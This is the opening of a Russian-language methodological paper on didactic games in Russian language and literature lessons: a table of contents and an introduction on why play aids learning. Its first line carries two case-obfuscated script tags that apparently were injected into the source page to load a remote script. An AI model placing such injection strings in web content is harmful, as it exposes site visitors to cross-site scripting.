<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Содержание
Введение………………………………………………………………… 4 стр.
1. Технология опыта
1.1 Классификация педагогических игр…………………………… 6 стр.
1.2 Урок с дидактической игрой…………………………………… 7 стр.
2. Виды дидактических игр……………………………………………. 12 стр.
а) Фонетические игры.
б) Лексико-фразеологические игры.
в) Игры по морфемике и словообразованию.
г) Морфологические игры.
д) Синтаксические игры.
е) Игры по орфографии.
3. Требования к использованию игровых технологий на уроках….. 22 стр.
Заключение………………………………………………...... 23 стр.
Введение
На современном этапе модернизация и инновационное развитие – единственный путь, который позволит стать конкурентным обществом в мире XXI века, обеспечить достойную жизнь всем нашим гражданам. Чтобы решить эти стратегические задачи, необходимо с детства формировать такие навыки, как инициативность, способность творчески мыслить, находить нестандартные решения, умение выбирать профессиональный путь, готовность обучаться в течение всей жизни.
Школа является важным этапом в этом процессе. Главные задачи современной школы – раскрытие способностей каждого ученика, воспитание порядочного и патриотичного человека, личности, готовой к жизни, конкурентном мире. Школьное обучение должно быть построено так, чтобы выпускники могли самостоятельно ставить и достигать серьёзных целей, умело реагировать на разные жизненные ситуации.
Таким образом, современное состояние обучения школьников диктует необходимость синтеза новых и традиционных путей повышения качества их теоретической подготовки, готовности к самостоятельному творческому труду, а главное - средств и методов, в том числе – средств и методов обучения в рамках уроков русского языка и литературы.
Игра – самый древний способ передачи знаний от поколения к поколению. Через игру ребёнок постигает мир, законы взаимоотношений, приобретает новые знания в различных областях жизни и науки. Игра даёт возможность учащемуся оценить себя на фоне других ребят, выдвигая при этом иные критерии оценки. Игра способствует формированию и развитию ключевых компетенций ученика, развитию творческого мышления и активизации самостоятельной работы учеников.